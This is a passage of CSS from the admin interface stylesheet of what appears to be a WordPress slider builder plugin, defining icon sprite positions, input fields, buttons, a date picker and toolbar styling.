margin-left: 0px; margin-right: 5px; } label_icon.ui_border_top { background-position: -210px -240px; } label_icon.ui_border_right { background-position: -240px -240px; } label_icon.ui_border_bottom { background-position: -270px -240px; } label_icon.ui_border_left { background-position: -300px -240px; } label_icon.ui_v_fade { background-position: -60px -300px; } label_icon.ui_v_scale { background-position: -30px -300px; } label_icon.ui_v_rotation { background-position: -90px -300px; } label_icon.ui_autoresponsive { background-position: -120px -330px; } label_icon.ui_offsetresponsive { background-position: -150px -330px; } label_icon.ui_childrenresponsive { background-position: -180px -330px; } label_icon.ui_max_rotation { background-position: -180px -270px; } label_icon.ui_max_fadedown { background-position: -240px -270px; } label_icon.ui_max_scaledown { background-position: -300px -270px; } label_icon.ui_bradius { background-position: -150px -240px; } label_icon.ui_bradius_topleft { background-position: -30px -240px; } label_icon.ui_bradius_topright { background-position: -60px -240px; } label_icon.ui_bradius_bottomleft { background-position: -90px -240px; } label_icon.ui_bradius_bottomright { background-position: -120px -240px; } label_icon.ui_fit { background-position: -30px -180px; } label_icon.ui_repeat { background-position: -60px -180px; } label_icon.ui_stopafterloop { background-position: -120px -180px; } label_icon.ui_stopatslide { background-position: -150px -180px; } label_icon.ui_radius { background-position: -210px -390px; } label_icon.ui_outofviewport { background-position: -180px -180px; } label_icon.ui_viewportpercent { background-position: -210px -180px; } label_icon.ui_presetheight { background-position: -210px -60px; } label_icon.ui_x_start { background-position: -30px -270px; } label_icon.ui_x_end { background-position: -60px -270px; } label_icon.ui_y_start { background-position: -90px -270px; } label_icon.ui_y_end { background-position: -120px -270px; } label_icon.ui_rotate_start { background-position: -150px -270px; } label_icon.ui_rotate_end { background-position: -180px -270px; } label_icon.ui_blur_start { background-position: -210px -270px; } label_icon.ui_blur_end { background-position: -240px -270px; } label_icon.ui_scale_start { background-position: -270px -270px; } label_icon.ui_scale_end { background-position: -300px -270px; } label_icon.ui_x { background-position: -30px -60px; } label_icon.ui_bg { background-position: -150px -30px; } label_icon.ui_y { background-position: -60px -60px; } label_icon.ui_z { background-position: -150px -390px; } /*SPLIT TEXT ICONS */ label_icon.ui_textsplit { background-position: -60px -390px } label_icon.ui_splitdirection { background-position: -90px -390px } label_icon.ui_splitdelay { background-position: -120px -390px } /*SVG ICONS */ label_icon.ui_strokewidth { background-position: -210px -330px; } label_icon.ui_strokedasharray { background-position: -240px -330px; } label_icon.ui_strokedashoffset { background-position: -180px -30px; } /*FILTER ICONS */ label_icon.ui_blur { background-position: -330px -330px; } label_icon.ui_grayscale { background-position: -360px -330px; } label_icon.ui_brightness { background-position: -270px -330px; } label_icon.ui_blendmode { background-position: -300px -330px; } label_icon.ui_blendmodeshow { background-position: -330px -30px; } /* TRANSFORM ICONS */ label_icon.ui_opacity { background-position: -150px -150px; } label_icon.ui_scalex { background-position: -180px -150px; } label_icon.ui_scaley { background-position: -210px -150px; } label_icon.ui_skewx { background-position: -240px -150px; } label_icon.ui_skewy { background-position: -270px -150px; } label_icon.ui_perspective { background-position: -300px -150px; } label_icon.ui_transformz { background-position: -330px -150px; } label_icon.ui_rotatex { background-position: -240px -180px; } label_icon.ui_rotatey { background-position: -270px -180px; } label_icon.ui_rotatez { background-position: -300px -180px; } label_icon.ui_origox { background-position: -330px -180px; } label_icon.ui_origoy { background-position: -360px -180px; } label_icon.ui_origoz { background-position: -180px -390px; } label_icon.ui_loop { background-position: -240px -390px; } /* STYLE ICONS */ label_icon.ui_fontsize { background-position: -30px -30px; } label_icon.ui_lineheight { background-position: -60px -30px; } label_icon.ui_fontweight { background-position: -90px -30px; } label_icon.ui_letterspacing { background-position: -120px -30px; } label_icon.ui_fontstyle { background-position: -210px -30px; } label_icon.ui_textdecoration { background-position: -240px -30px; } label_icon.ui_uppercase { background-position: -270px -30px; } label_icon.ui_selectable { background-position: -300px -30px; } /*HIDE ON .... */ label_icon.ui_hide_on_mobile { background-position: -30px -330px } label_icon.ui_hide_in_nav { background-position: -90px -330px } label_icon.ui_hide_after_loop { background-position: -60px -330px } /*PUBLISHSED */ label_icon.ui_published { background-position: -330px -300px } label_icon.ui_published_from { background-position: -270px -300px } label_icon.ui_published_until { background-position: -300px -300px } /*TRANSITION */ label_icon.ui_duration { background-position: -120px -300px } label_icon.ui_easing { background-position: -30px -390px } label_icon.ui_easing_in { background-position: -150px -300px } label_icon.ui_easing_out { background-position: -180px -300px } label_icon.ui_slotamount { background-position: -210px -300px } label_icon.ui_slotrotation { background-position: -240px -300px } /*VIDEO ICON*/ label_icon.ui_speed { background-position: -60px -360px } label_icon.ui_volume { background-position: -30px -360px } label_icon.ui_startat { background-position: -90px -360px } label_icon.ui_endat { background-position: -120px -360px } /*ANIMATION ICONS*/ label_icon.ui_yoyo { background-position: -180px -360px } label_icon.ui_startangle { background-position: -210px -360px } label_icon.ui_curviness { background-position: -240px -360px } label_icon.ui_xradius { background-position: -270px -360px } label_icon.ui_yradius { background-position: -300px -360px } label_icon.ui_zradius { background-position: -330px -360px } /* HORIZONTAL ALIGN*/ label_icon.ui_leftalign { background-position: -35px -90px; margin-right:0px; width:25px; cursor: pointer} label_icon.ui_leftalign:hover, label_icon.ui_leftalign.selected { background-position: -35px -120px;} label_icon.ui_centeralign { background-position: -65px -90px; margin-right:0px;width:25px; cursor: pointer} label_icon.ui_centeralign:hover, label_icon.ui_centeralign.selected { background-position: -65px -120px;} label_icon.ui_rightalign { background-position: -95px -90px; margin-right:0px;width:25px;cursor: pointer} label_icon.ui_rightalign:hover, label_icon.ui_rightalign.selected { background-position: -95px -120px;} /*VERTICAL ALIGN*/ label_icon.ui_topalign { background-position: -125px -90px; margin-right:0px;width:25px;cursor: pointer} label_icon.ui_topalign:hover, label_icon.ui_topalign.selected { background-position: -125px -120px;} label_icon.ui_middlealign { background-position: -155px -90px; margin-right:0px;width:25px;cursor: pointer} label_icon.ui_middlealign:hover, label_icon.ui_middlealign.selected { background-position: -155px -120px;} label_icon.ui_bottomalign { background-position: -185px -90px; margin-right:0px;width:25px;cursor: pointer} label_icon.ui_bottomalign:hover, label_icon.ui_bottomalign.selected { background-position: -185px -120px;} /* LAYER GROUP FILTERS */ label_icon.ui_free_layers { background-position: -210px -90px; } label_icon.ui_magnet { background-position: -270px -390px; } label_icon.ui_top_row_layers { background-position: -240px -90px } label_icon.ui_middle_row_layers { background-position: -270px -90px } label_icon.ui_bottom_row_layers { background-position: -300px -90px } label_icon.ui_free_layers.selected, label_icon.ui_free_layers:hover { background-position: -210px -120px } .tl_magnifying_wrap:hover label_icon.ui_magnet, .tl_magnifying_wrap.selected label_icon.ui_magnet { background-position: -300px -390px; } label_icon.ui_top_row_layers.selected, label_icon.ui_top_row_layers:hover { background-position: -240px -120px } label_icon.ui_middle_row_layers.selected, label_icon.ui_middle_row_layers:hover { background-position: -270px -120px } label_icon.ui_bottom_row_layers.selected, label_icon.ui_bottom_row_layers:hover { background-position: -300px -120px } label_icon.rowtop { background-position: -237px -118px !important; } label_icon.rowmiddle { background-position: -267px -118px !important; } label_icon.rowbottom { background-position: -297px -118px !important; } .triggerselect.selected label_icon.rowtop, .triggerselect.selected label_icon.rowbottom, .triggerselect.selected label_icon.rowmiddle { filter: brightness(100); } /* BIG ICONSET */ label_bigicon.ui_onecol { background-position: -45px -45px; } label_bigicon.ui_twocol { background-position: -90px -45px; } label_bigicon.ui_threecol { background-position: -135px -45px; } label_bigicon.ui_fourcol { background-position: -180px -45px; } label_bigicon.ui_sixcol { background-position: -225px -45px; } label_bigicon.ui_onefourth_half_onefourth_col { background-position: -270px -45px; } label_bigicon.ui_onesixth_foursixth_onesixts_col { background-position: -315px -45px; } label_bigicon.ui_twothird_onethird_col { background-position: -360px -45px; } label_bigicon.ui_threefourth_onefourth_col { background-position: -405px -45px; } label_bigicon.ui_fivesixth_onesixth_col { background-position: -450px -45px; } .colselector.selected label_bigicon.ui_onecol, .colselector:hover label_bigicon.ui_onecol { background-position: -45px -90px; } .colselector.selected label_bigicon.ui_twocol, .colselector:hover label_bigicon.ui_twocol { background-position: -90px -90px; } .colselector.selected label_bigicon.ui_threecol, .colselector:hover label_bigicon.ui_threecol { background-position: -135px -90px; } .colselector.selected label_bigicon.ui_fourcol, .colselector:hover label_bigicon.ui_fourcol { background-position: -180px -90px; } .colselector.selected label_bigicon.ui_sixcol, .colselector:hover label_bigicon.ui_sixcol { background-position: -225px -90px; } .colselector.selected label_bigicon.ui_onefourth_half_onefourth_col, .colselector:hover label_bigicon.ui_onefourth_half_onefourth_col { background-position: -270px -90px; } .colselector.selected label_bigicon.ui_onesixth_foursixth_onesixts_col, .colselector:hover label_bigicon.ui_onesixth_foursixth_onesixts_col { background-position: -315px -90px; } .colselector.selected label_bigicon.ui_twothird_onethird_col, .colselector:hover label_bigicon.ui_twothird_onethird_col { background-position: -360px -90px; } .colselector.selected label_bigicon.ui_threefourth_onefourth_col, .colselector:hover label_bigicon.ui_threefourth_onefourth_col { background-position: -405px -90px; } .colselector.selected label_bigicon.ui_fivesixth_onesixth_col, .colselector:hover label_bigicon.ui_fivesixth_onesixth_col { background-position: -450px -90px; } #form_slidegeneral_params row onehalf:first-child { width:75%;} #form_slidegeneral_params row onehalf:nth-child(2) { width:25%;} .lp10 { padding-left: 10px; } .mr10 { margin-right: 10px; } i.emptyspace20 { display: inline-block; width: 20px; } .iblocktop { vertical-align: top; display: inline-block } .dcenter { display: block; text-align: center; margin: 0px auto; list-style: none; padding:0px;} .disablecontainer { position: relative; opacity: 0.3; pointer-events: none;} .main_mode_selector.disablecontainer { opacity: 1 } .main_mode_selector.disablecontainer i { opacity: 0.3 } .unavailablecontainer { display: none !important; height: 0px;width: 0px;visibility: hidden;position: absolute;z-index: -1; } .rfloated { float: right; } .lp30bb { padding-left: 30px !important; box-sizing: border-box !important } .lp40bb { padding-left: 40px !important; box-sizing: border-box !important } /************************** BG ALIGN SELECTOR ***************************/ .bg_alignselector_wrap { display: inline-block; position: relative; vertical-align: top;margin-bottom:10px;} .bg_align_row { width: 55px;height: 15px;display: block;margin-bottom: 5px;position: relative; } .bg_alignselector { width: 14px; height: 14px; background: #2a2c2f; border-radius: 3px; display:block; cursor:pointer;} .bg_alignselector:first-child { position: absolute; top: 0px;left: 0px; } .bg_alignselector:nth-child(2) { position: absolute; top: 0px;left: 20px; } .bg_alignselector:nth-child(3) { position: absolute; top: 0px;left: 40px; } .bg_alignselector.selected { background: #006dd2; } .bg_align_xy { position: absolute; left: 68px; top:-10px; width:85px;} .bg_align_xy .bg_alignselector { position: relative; top: auto; left: auto; display: inline-block ; margin-top:10px;margin-right:5px;} /************************** INPUT FIELDS ***************************/ .input_with_buttonextenstion { width: 185px; position: relative;display: inline-block } .buttonextenstion { position: absolute; right: 0px; top: 0px; } #rb_tlw input[type=text], #rb_tlw input[type=number], #rb_tlw textarea { box-shadow:none;outline:none;border: none;border-radius: 3px; width:185px;padding:0px; margin:0px 0px 10px; } #rb_tlw longoption input[type=text], #rb_tlw longoption input[type=number] { margin: 5px 0px; } #rb_tlw longoption input[type=text], #rb_tlw longoption input[type=number], #rb_tlw longoption textarea { width: 60px; } #rb_tlw .input_with_buttonextenstion input[type=text], #rb_tlw .input_with_buttonextenstion input[type=number] { width: 154px; margin-right: 1px } #rb_tlw .input_with_buttonextenstion.extrashort input[type=text] { width: 122px; margin-right: 1px } #rb_tlw #form_slidergeneral_advanced_api .input_with_buttonextenstion input[type=text], #rb_tlw #form_slidergeneral_advanced_api .input_with_buttonextenstion input[type=number]{ width: 150px !important; } #rb_tlw input[type=text].tqinput, #rb_tlw input[type=number].tqinput { width: 130px; margin-right: 5px } #rb_tlw input[type=text].oqinput, #rb_tlw input[type=number].oqinput { width: 50px;} #rb_tlw oneshort input[type=text], #rb_tlw oneshort input[type=number], #rb_tlw oneshort textarea, #rb_tlw input[type=text].shortfield, #rb_tlw input[type=number].shortfield, #rb_tlw onelong input[type=text], #rb_tlw onelong input[type=number], #rb_tlw onelong textarea {width:68px !important; min-width: 68px !important} #rb_tlw onethird input[type=text], #rb_tlw onethird input[type=number], #rb_tlw onethird textarea { width: 50px !important; } #rb_tlw input::-webkit-outer-spin-button, #rb_tlw input::-webkit-inner-spin-button {-webkit-appearance: none;margin: 0; } .fake_input, #rb_tlw input[type=text], #rb_tlw input[type=number] {line-height: 30px;height:30px; box-sizing:border-box; font-size: 13px;color: #b7bbc0;font-weight: 500;vertical-align: top; background: #2a2c2f; padding:0px 10px;} #rb_tlw textarea {line-height: 17px;height:30px; box-sizing:border-box; font-size: 13px;color: #b7bbc0;font-weight: 500;vertical-align: top; background: #2a2c2f; padding:5px 10px;} #layer_action_extension_wrap textarea { height: 90px; } #layer_action_type { cursor: pointer } #layer_action_type i.material-icons { width: 30px !important; } #layer_action_type input { pointer-events: none ;display: none} #layer_action_type #layer_action_fake { width:185px; margin-bottom:10px; line-height: 30px;height: 30px;box-sizing: border-box;font-size: 13px;color: #b7bbc0;font-weight: 500;vertical-align: top;background: #2a2c2f;padding: 0px 10px; } #layer_action_type:hover #layer_action_fake, #layer_action_type:hover i.material-icons { color: #fff !important; } #rb_tlw input[type=text]:hover, #rb_tlw input[type=number]:hover, #rb_tlw textarea:hover { color: #fff; } #rb_tlw #form_template_skin .revbuilder-colorpicker.visible-cp-input { width: 120px; margin-left: 5px; margin-right: 5px; } #rb_tlw #form_template_skin .revbuilder-colorpicker.visible-cp-input input{ width: 80px; } #rb_tlw textarea.rsmaxtextarea { width: 100%; height: 180px; padding: 20px;box-sizing: border-box; color: #b7bbc0; font-size: 14px; line-height: 20px; } #rb_tlw #form_slidergeneral_advanced_api_events textarea { margin-bottom: 25px; } .fake_input { margin-bottom: 20px } #rb_tlw input.nmarg { margin-bottom: 5px; } #rb_tlw input[type=text].badvalue, #rb_tlw input[type=number].badvalue { color:#f82c90; } #rb_tlw input[type=checkbox].simplechkbx { display: inline-block; vertical-align: top; line-height: 28px; border-radius: 3px; border: 1px solid #d4dce4; box-shadow: none; margin:4px 10px 0px 0px; background-color: #f3f7fa; width:20px;height:20px;} #rb_tlw input[type=checkbox].simplechkbx:before { color: #1e8cbe;float: none;text-align: left;line-height: 25px;vertical-align: top;margin-left: -5px; } #rb_tlw input[type=radio] {vertical-align: middle;line-height: 30px; width: 20px;height: 20px; border:none; box-shadow: none;margin:5px 10px 0px -2px;} #rb_tlw .radiooption input[type=radio] { line-height: 25px; margin:5px 10px 0px -2px; vertical-align: top; opacity: 0; z-index: 2; position: absolute; border-radius: 0px; width:100%;} #rb_tlw input[type=radio]:before { width:10px; height:10px; margin: 5px; } #rb_tlw input[type=text].digit3, #rb_tlw input[type=number].digit3 {width: 50px;} #rb_tlw textarea {resize: none;} #rb_tlw textarea.api_area { width: 100%; } #rb_tlw #form_slidergeneral_advanced_api textarea.api_area { height: 0px !important; overflow: hidden; padding: 0px !important; position: absolute; } #rb_tlw input.ralign { text-align: right; } #rb_tlw textarea.info { height: 56px; line-height: 16px; padding: 4px 5px; color: #8095a3; background: transparent; word-break: break-all; font-style: italic; } #rb_tlw ::-webkit-input-placeholder { color: #b7bbc0;} #rb_tlw ::-moz-placeholder { color: #b7bbc0;} #rb_tlw :-ms-input-placeholder { color: #b7bbc0;} #rb_tlw :-moz-placeholder { color: #b7bbc0;} #rb_tlw input:hover::-webkit-input-placeholder { color: #fff !important;} #rb_tlw input:hover::-moz-placeholder { color: #fff !important; } #rb_tlw input:hover:-ms-input-placeholder { color: #fff !important;} #rb_tlw input:hover:-moz-placeholder { color: #fff !important;} #rb_tlw input:focus::-webkit-input-placeholder { color: transparent !important;} #rb_tlw input:focus::-moz-placeholder { color: transparent !important; } #rb_tlw input:focus:-ms-input-placeholder { color: transparent !important;} #rb_tlw input:focus:-moz-placeholder { color: transparent !important;} #rb_tlw input[type=radio]:before { background-color: #006dd2; width: 10px;height:10px; } #rb_tlw input[type=radio], #rb_tlw input[type=radio]:hover, #rb_tlw input[type=radio]:focus, #rb_tlw input[type=radio]:checked { border:none;background: #2a2c2f;} #rb_tlw input[type=checkbox] { background-color: #222a34; border-color: #222a34; } #rb_tlw input[type=checkbox].simplechkbx:before{ color:#8095a3 } #rb_tlw .__inmodal input[type=text], #rb_tlw .__inmodal input[type=number], #rb_tlw .__inmodal textarea { display:block; width:100%;} .radiooption { position: relative; box-sizing: border-box;display: inline-block; line-height: 25px } #api_methods { position: relative } #rb_tlw #api_methods textarea { height: auto; overflow-y: hidden } #rb_tlw #api_methods .basic_action_button { position: absolute; float: none; right: 0px; border: none; } #rb_tlw #api_events .basic_action_button { border: none; } /* DATE PICKER */ #ui-datepicker-div { padding:15px; background:#323438; border:none;z-index:1119999 !important;margin-left:-25px; color:#fff; box-shadow: 0px 10px 20px 0px rgba(0,0,0,0.5);} #ui-datepicker-div, #ui-datepicker-div * { -webkit-font-smoothing: antialiased; -moz-osx-font-smoothing: grayscale; -webkit-touch-callout: none; text-rendering: optimizeLegibility; font-family: "Roboto"; } .ui-datepicker-title { color: #777c80;font-size: 15px;display: block;text-align: center;margin-bottom: 10px; font-weight: 600; } .ui-datepicker-header { font-size:15px;vertical-align: top; line-height:20px;} #ui-datepicker-div .ui-icon { text-indent: 0px;display: inline-block;margin-right: 15px;font-size: 12px;text-align: center; cursor: pointer;} #ui-datepicker-div a, #ui-datepicker-div a:visited { color: #777c80; } #ui-datepicker-div a:hover { color: #006dd2; } .ui-datepicker-prev.ui-corner-all { float: left; } .ui-datepicker-next.ui-corner-all { float: right; } .ui-datepicker-next.ui-corner-all .ui-icon.ui-icon-circle-triangle-e { margin-right: 0px !important; } .ui-datepicker-calendar tbody { text-align: center;} .ui-datepicker-calendar tbody .ui-state-default { text-decoration: none;color:#777c80; font-weight:500; } .ui-datepicker-calendar tbody .ui-datepicker-week-end .ui-state-default { text-decoration: none;color:#777c80; font-weight:500; } .ui-datepicker-calendar tbody .ui-datepicker-unselectable.ui-state-disabled .ui-state-default { color: #777c80; opacity: 0.5; } .ui-datepicker-calendar tbody .ui-state-default.ui-state-highlight { text-decoration: none; font-weight: 500; color:#fff; min-width:15px; display: inline-block;} /* BUILDER BUTTONS BASICS */ #rb_tlw button { outline:none;border: none; background: #777; vertical-align:top; color: #fff; font-weight: 500; font-size: 12px; line-height: 28px; box-shadow: none; box-sizing: border-box; padding: 0px 10px; cursor: pointer; } #rb_tlw button:hover { background-color: #555; } #rb_tlw button:focus, #rb_tlw button:visited { outline: none; box-shadow: none; } #rb_tlw .form_opener_btn .material-icons, #rb_tlw button .material-icons { margin-right: 5px; line-height: 28px;font-size: 16px; } #rb_tlw labelhalf .material-icons { font-size: 20px; color: #777c80; } #rb_tlw .material-icons.bpdevices { font-size: 25px; color: #777c80; margin-left: 15px; } #rb_tlw .material-icons.big-mi { font-size: 40px; line-height: 50px } #rb_tlw .form_opener_btn {background: #3e4a5a; line-height: 40px; font-size: 14px; font-weight: 400; color: #8095a3; padding:0px 15px; border-radius: 4px; margin-right: 6px; display:inline-block; cursor: pointer; margin-bottom: 10px;} #rb_tlw .form_opener_btn .material-icons { color: #8095a3; font-size:24px; line-height: 40px;} #rb_tlw .form_opener_btn:hover, #rb_tlw .form_opener_btn:focus, #rb_tlw .form_opener_btn:visited, #rb_tlw .form_opener_btn:hover .material-icons, #rb_tlw .form_opener_btn:focus .material-icons, #rb_tlw .form_opener_btn:visited .material-icons{ color: #fff; background: #2a3441} #slbpoints_overall onelong { position: relative; width: 80px;min-width: 80px;padding-right: 0px } #slbpoints_overall label_icon.singlerow, #slbpoints_overall onelong label_icon:first-child { margin-left: 12px; } #rb_tlw #slbpoints_overall onelong input[type=text] { min-width: 66px !important; width:66px !important;} #slbpoints_overall .bpdevices { margin-left: 13px !important; margin-right: 12px } #slbpoints_overall label_a { width: 250px; text-align: left; font-size: 11px;} #slbpoints_overall .tponoffwrap, #slbpoints_overall .fake_on_button { margin-left: 10px !important } .global_size_miniinfo { display: inline-block; margin-left: 5px} .highlight_arrow { display: block; position: absolute; bottom: 5px;left: 25px; margin-left: -5px; width: 0;height: 0;border-style: solid;border-width: 5px 5px 0 5px;border-color: #006dd2 transparent transparent transparent; } #screen_selector_ph_icon_sr { display: none; } .toolbar_selector_icons .selected_placeholder, #screen_selector_ph_icon_sr { width: 50px; height: 50px; line-height: 50px; background: #323438; color: #b7bbc0; font-size: 20px; text-align: center} .toolbar_listelement, .toolkit_selector, .screen_selector { clear: both; position:relative;display: block;line-height: 30px; font-size: 13px; color: #b7bbc0; cursor:pointer; min-width:250px;box-sizing: border-box; text-align: left; background:#2a2c2f; padding:0px 16px; white-space: nowrap} .ssnotavailable, .screen_selector.selected {cursor: auto} #redolist .toolbar_listelement { color: #777c80; } .toolbar_selector_icons:hover .selected_placeholder i { color: #fff; } #undo.toolbar_listelement, #redo.toolbar_listelement { background:#323438;} .toolbar_listelement.no_rm, .toolkit_selector.no_rm, .screen_selector.no_rm { margin-right: 0px;} .toolbar_listelement .material-icons, .toolkit_selector .material-icons, .screen_selector .material-icons { font-size: 17px; line-height: 30px; margin-right:15px;} #zoomer_wrap_toolbar.inzoommove .tool_dd_wrap, .toolbar_selector_icons:hover .tool_dd_wrap { display: block;top: 50px; } #undo.toolbar_listelement:hover, #redo.toolbar_listelement:hover, #redolist .toolbar_listelement:hover, .toolbar_listelement:not(.disabled):hover, .toolkit_selector:hover, .screen_selector:hover { color: #fff; background:#3F444D; } .toolbar_listelement.selected, .toolkit_selector.selected, .screen_selector.selected { color: #fff; background: #006dd2; } .screen_selector .tponoffwrap { position:absolute; right:10px; margin-bottom: 0px !important;box-shadow: 0px 2px 4px 0px rgba(0,0,0,0.25); } .shortcuttext { text-align:right; line-height: 30px; color:inherit; float:right; top:0px; font-size: 12px;} .shortcut_alt, .shortcut_cmdctrl, .shortcut_shift { line-height: 30px; color:inherit; display: inline-block; margin-right: 5px; font-size:12px;} .osx .shortcut_cmdctrl { font-size: 13px } .shortcut_shift { margin-left:2px;} /* .osx.shortcuttext { width: 25px } */ .clipboard_wrap { vertical-align: top; margin-right: 35px; display: inline-block; margin-top: 5px; } .basic_action_button_inactive { pointer-events: none !important; color:#777c80;} .basic_action_button_inactive i { color: #777c80; } #rbm_globalsettings_savebtn, #rbm_configpanel_savebtn { display: none; width: 375px; height: 50px; line-height: 50px; color: #fff; font-size: 15px; font-weight: 500; position: absolute; bottom: 0px; right: 0px; text-align: center; z-index: 10000; background: #006dd2; cursor: pointer; } #rbm_globalsettings_savebtn { display: block; width:auto; padding:0px 20px;} #rbm_globalsettings label_a a { color:#777c80; outline: none !important; box-shadow: none !important;} #rbm_globalsettings label_a a:hover { color:#fff;} ._TPRB_ oneshort .basic_action_coloredbutton, ._TPRB_ oneshort .basic_action_button { width: 105px; } /* BUTTON EXTENSIONS FROM BASIC */ .basic_action_button.onlyicon { width: 30px; padding: 0px; text-align: center } .basic_action_button.onlyicon i { margin-right: 0px } .moretoseebutton.basic_action_button.onlyicon { position: absolute; top: 0px; left: 146px; line-height: 30px !important;vertical-align: top;top: 0px;color: #777c80;font-size: 14px !important;border-left: 1px solid #323438;width: 15px !important;height: 30px !important;text-align: center;background: #2a2c2f;border-radius: 0px 4px 4px 0px;cursor: pointer; } .basic_action_button.selected i { color: #fff; } .rightfloat_action_button { float: right; margin-right: 0px } .input_with_buttonextenstion .getVideoFromObjectLibrary.onlyicon { margin-left:2px;} .next_previous_wizzard_steps .basic_action_coloredbutton, .next_previous_wizzard_steps .basic_action_button, .cancel_accept .basic_action_coloredbutton, .cancel_accept .basic_action_button { margin-bottom: 0px; } .copy_clipboard_result { display:none;font-size:14px; margin-left: 10px; line-height: 40px;} .next_previous_wizzard_steps { position:absolute; bottom:0px; left:0px; line-height: 40px;z-index:10;} .__inmodal .next_previous_wizzard_steps { left: 220px; } .cancel_accept { position:absolute; bottom:0px; right:0px; line-height: 40px;z-index:10;} .cancel_accept .close_and_accept { margin-left: 1px } /* ADVANCED BUTTONS */ #rb_tlw .toolbar_btn> .icon_switcher >i.material-icons { font-size: 17px; line-height: 50px; opacity: 1; color:inherit;} #rb_tlw .toolbar_btn> .icon_switcher {width:auto;height:auto;overflow:visible;} #add_layer_toolbar_wrap { margin-right: 80px; } #rb_tlw .layertoolbar_wrap .toolbar_btn i.material-icons.norightmargin { margin-right: 0px; } #current_width_height i.material-icons { color: #236dd2; font-size: 17px;vertical-align:top;margin-right: 5px;font-weight: 500; } #current_width_height { display: inline-block; } #show_c_width, #show_c_height { color: #b7bbc0; font-size: 14px; margin-right: 20px; } #current_sel_display {width: 50px;margin: 0px;padding: 0px;min-width: 0px;display: inline-block;vertical-align:top;} #slide_picker_wrap { max-width: 300px; } #slide_picker_wrap #slidelist { max-height: 300px; position: relative; overflow: hidden; } #slide_picker_wrap #slidelist.ps .rs__scrollbar-y-rail { right: auto !important; left: 0px !important; z-index:10; background: transparent !important; z-index:500 !important} #slide_picker_wrap #slidelist.ps .rs__scrollbar-y-rail .rs__scrollbar-y { background: #b7bbc0; opacity:0.3; width:7px !important;} #slide_picker_wrap #slidelist:hover .rs__scrollbar-y-rail{ display:block } .toolbar_rightoriented .tool_dd_wrap { margin-left: -149px; } .zoomer_wrap.toolbar_selector_icons .tool_dd_wrap {margin-left: -99px;} .toolbar_rightoriented #toolkit_selector_wrap .tool_dd_wrap { margin-left: -99px; } .toolbar_rightoriented #main_screenselector .tool_dd_wrap { margin-left: -199px; } .visiblestep_main, .lockstep_main { background: #323438 } .outicon_dd_rwap .visiblestep, .outicon_dd_rwap .lockstep { background:#2a2c2f } .visiblestep_main.selected .hhb_a, .visiblestep_main .hhb_b { display: none !important} .visiblestep_main.selected .hhb_b { display: inline-block !important; } /* UNDO REDO CONTAINER */ #undoredowrap { max-height: 225px; overflow: hidden; position: relative} .undo_redo_wrap .tool_dd_wrap:before { z-index:10; content: " "; position: absolute;right: 0px;top: 0px;width: 30px;height: 100%; background: linear-gradient(to right, rgba(41,44,46,0) 0%,rgba(41,44,46,1) 100%); z-index: 5 } #undo,#redo { z-index: 20; } .rb-modal-wrapper .rs__scrollbar-y-rail, #undoredowrap .rs__scrollbar-y-rail { right: 0px;width: 12px; background: transparent !important; } .rb-modal-wrapper .rs__scrollbar-y, #undoredowrap .rs__scrollbar-y { background: #fff; width: 7px; border-radius: 7px; right: 5px !important; cursor: pointer; opacity: 0.15; } .rb-modal-wrapper .rs__scrollbar-x-rail {display: none !important} #undolist, #redolist { margin: 0px;padding: 0px;list-style: none; } /*SOURCE SELECTOR*/ .source_selector { box-sizing: border-box; display:inline-block; color: #b7bbc0; font-size: 17px; line-height: 31px; font-weight: 500; cursor: pointer; margin-right: 28px; vertical-align: top;} .source_selector:hover, .source_selector.selected { color: #006dd2; } /* SUFFIX FOR INPUTS */ #rb_tlw .inputsuffix { line-height: 20px; display: inline-block; margin-left: -30px; font-size: 12px;color: #263d52;font-weight: 400; width:30px; border-left:1px solid #006dd2; box-sizing: border-box; text-align:center;} #rb_tlw .inputsuffix {color: #eee; border-left-color: #354151; line-height: 29px;} .left_right_row { position: relative; height: 25px; } /*ICON SWITCHER*/ #rb_tlw .icon_switcher, #rb_tlw .icon_trigger { padding:0px 5px; height: 30px; overflow: hidden; position: relative; display: inline-block; color:#b7bbc0; vertical-align: top; line-height: 25px !important; } #rb_tlw .icon_trigger_wrap .icon_trigger, #rb_tlw .icon_trigger_wrap .icon_switcher { height: 25px; background: #3a3e44; cursor: pointer; } #rb_tlw .icon_trigger_wrap .icon_trigger:hover, #rb_tlw .icon_trigger_wrap .icon_switcher:hover { color: #fff; } #rb_tlw .icon_trigger i, #rb_tlw .icon_switcher i { font-size: 17px; color: #b7bbc0; cursor: pointer; } #rb_tlw .icon_trigger_wrap .icon_trigger i, #rb_tlw .icon_trigger_wrap .icon_switcher i { font-size: 16px !important; vertical-align: top; line-height: 25px !important; margin-right: 5px; } #rb_tlw #reset_lock_media_size_layer .icon_trigger_wrap .icon_switcher i, #rb_tlw #reset_lock_media_size_layer .icon_trigger_wrap .icon_trigger i { margin-right: 0px; } #rb_tlw .icon_switcher .tponoffwrap { display: none; } #rb_tlw .triggerselect.twostatetrigger, #rb_tlw .icon_trigger:hover i, #rb_tlw .icon_switcher i.icon_state_on { color: #b7bbc0; } #rb_tlw .icon_trigger:hover i, #rb_tlw .icon_switcher i.icon_state_on { color: #fff; } #rb_tlw .icon_switcher i.icon_state_on { display: none; } #rb_tlw .icon_switcher i.icon_state_off { display: inline-block; } #rb_tlw .icon_switcher.icsw_on i.icon_state_off { display: none; } #rb_tlw .icon_switcher.icsw_on i.icon_state_on { display: inline-block; } #rb_tlw .triggerselect.twostatetrigger, #rb_tlw oneabsolute .icon_switcher { background-color: #3a3e44; width: 35px; height: 35px; line-height: 35px; text-align: center; border-radius: 4px; font-size: 17px; cursor: pointer; padding:0px;} #rb_tlw .triggerselect.twostatetrigger.selected, #rb_tlw oneabsolute .icon_switcher.icsw_on { background-color: #006dd2; } #rb_tlw oneabsolute .icon_switcher i { line-height: 35px !important } #rb_tlw oneabsolute .icon_switcher i.icon_state_on { color: #fff; } #rb_tlw .triggerselect.twostatetrigger.selected, #rb_tlw .triggerselect.twostatetrigger:hover, #rb_tlw oneabsolute .icon_switcher:hover i { color: #fff; } #rb_tlw .triggerselect.layer_rowposition_icons { margin-right: 5px; } #rb_tlw .revbuilder-colorpicker {vertical-align: top;margin-bottom: 5px; line-height: 30px; background: #2a2c2f; box-sizing: border-box; padding:7px; width:30px;height:30px; border-radius: 3px; border:none;} #rb_tlw .revbuilder-colorpicker .revbuilder-colorbox { width:16px; height:16px; border:1px solid rgba(255,255,255,0.15); border-radius: 0px; vertical-align: top} #rb_tlw .revbuilder-colorpicker .revbuilder-colorbtn { display: none; } #rb_tlw .revbuilder-colorpicker .visiblecolorfield { display: inline-block !important } #rb_tlw onelong 